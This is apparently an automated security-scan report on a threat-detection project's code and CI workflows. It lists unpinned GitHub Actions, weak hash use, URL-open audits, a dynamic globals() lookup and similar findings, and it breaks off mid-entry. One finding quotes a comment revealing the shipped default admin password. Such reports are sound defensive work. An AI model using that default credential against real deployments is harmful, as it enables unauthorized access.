GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 346
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 556
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: docker/setup-buildx-action@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 267
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 246
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: Swatinem/rust-cache@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 243
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 242
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 215
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: Swatinem/rust-cache@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 212
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@master -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 207
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 136
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: Swatinem/rust-cache@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 132
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 145
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 375
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 355
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/upload-artifact@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 589
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 590
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 591
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: taiki-e/install-action@v2 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/codeql.yml line 37
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/codeql.yml line 38
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: github/codeql-action/init@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/codeql.yml line 42
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: github/codeql-action/analyze@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 61
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 127
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/upload-artifact@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 379
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/download-artifact@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 146
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: vmactions/freebsd-vm@v1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 178
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/upload-artifact@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 196
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 197
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: vmactions/netbsd-vm@v1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 253
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/upload-artifact@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 267
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 268
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: vmactions/openbsd-vm@v1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 320
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/upload-artifact@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 337
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 46
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 555
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: docker/setup-qemu-action@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/ci.yml line 549
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 549
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: softprops/action-gh-release@v3 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 489
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/download-artifact@v8 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 488
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 477
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/upload-artifact@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 338
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: vmactions/freebsd-vm@v1 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 290
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
uses: docker/setup-qemu-action@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 122
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 338
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 43
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/release.yml line 30
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/regenerate.yml line 72
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: dtolnay/rust-toolchain@stable -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/regenerate.yml line 56
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/regenerate.yml line 54
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v7 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/feeds.yml line 33
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/setup-python@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/feeds.yml line 31
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/checkout@v5 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 420
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/upload-artifact@v4 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /.github/workflows/compat.yml line 397
- Likely real
- Yes, 52% confidence
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. `uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608`.
- uses: actions/download-artifact@v4 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/provenance.py line 46
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
45 trail = trail.encode("utf8", "replace") 46 return struct.unpack("<Q", hashlib.md5(trail).digest()[:8])[0] 47 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /sensor/tools/refnet.py line 273
- Likely real
- Uncertain, 49% confidence
Use of weak SHA1 hash for security. Consider usedforsecurity=False
272 der = b"0\x82refnet-leaf-certificate-" + bytes(bytearray(rnd.getrandbits(8) for _ in range(200))) 273 digest = hashlib.sha1(der).hexdigest() 274 extra_trails.append((digest, "malware (refnet CERT)")) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/common.py line 263
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
262 headers={"User-Agent": USER_AGENT, "Accept": "application/json"}) 263 resp = _urllib.request.urlopen(req, timeout=RIPE_LOOKUP_TIMEOUT) # NOTE: not retrieve_content() - that one is for feeds and waits TIMEOUT (30s) 264 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/alert.py line 195
- Likely real
- Uncertain, 48% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
194 try: 195 response = urllib.request.urlopen(request, timeout=ALERT_TIMEOUT) 196 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/update.py line 965
- Likely real
- Uncertain, 48% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
964 try: 965 resp = _urllib.request.urlopen(url) 966 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/update.py line 1029
- Likely real
- Uncertain, 48% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
1028 try: 1029 resp = _urllib.request.urlopen(IPCAT_URL) 1030 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/trailsbin.py line 59
- Likely real
- Uncertain, 48% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
58 59 return struct.unpack("<Q", hashlib.md5(data).digest()[:8])[0] 60 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/tls_intel.py line 97
- Likely real
- Uncertain, 48% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
96 def _md5_12(s): 97 return hashlib.md5(s.encode("ascii")).hexdigest() 98 -
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /core/settings.py line 507
- Likely real
- Uncertain, 45% confidence
Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.
value = value.replace(match.group(0), str(globals()[match.group(1)])) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/doctor.py line 117
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
116 def check_http_endpoint(): 117 if config.HTTP_ADDRESS in (None, "0.0.0.0"): 118 family = socket.AF_INET -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/doctor.py line 123
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
122 family = socket.AF_INET 123 problem = _port_free(socket.SOCK_STREAM, family, str(config.HTTP_ADDRESS or "0.0.0.0"), int(config.HTTP_PORT or 0)) 124 return [] if problem is None else [(WARN, problem)] -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/httpd.py line 420
- Likely real
- Yes, 95% confidence
Possible hardcoded password: '9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc'
419 # sha256("changeme!"), the password the shipped maltrail.conf gives `admin`. 420 PUBLISHED_PASSWORD_HASH = "9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc" 421 -
- Engine
- GuardDog · Supply-chain attack heuristics
- Counts towards
- Malicious pattern
- File
- /sensor/tools/refnet.py line 529
- Likely real
- Yes, 83% confidence
Detects fully silent process execution (suppressing all output channels) [threat-process-spawn-silent]
started = time.time() subprocess.check_call([sensor, "-c", conf, "-r", pcap], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) return logdir, time.time() - started -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/testing.py line 522
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
521 sys.stdout.flush() 522 os.execv(sys.executable, [sys.executable, os.path.join(ROOT_DIR, "server.py"), "-c", served_conf]) 523 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/common.py line 435
- Likely real
- Probably noise, 28% confidence
Try, Except, Continue detected.
434 der = base64.b64decode(re.sub(r"\s+", "", match.group(2))) 435 except Exception: 436 continue 437 if hashlib.sha256(der).hexdigest() in PUBLISHED: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/meta.py line 75
- Likely real
- Probably noise, 28% confidence
Try, Except, Continue detected.
74 return opener() 75 except Exception: 76 continue 77 return None -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /core/update.py line 1163
- Likely real
- Probably noise, 28% confidence
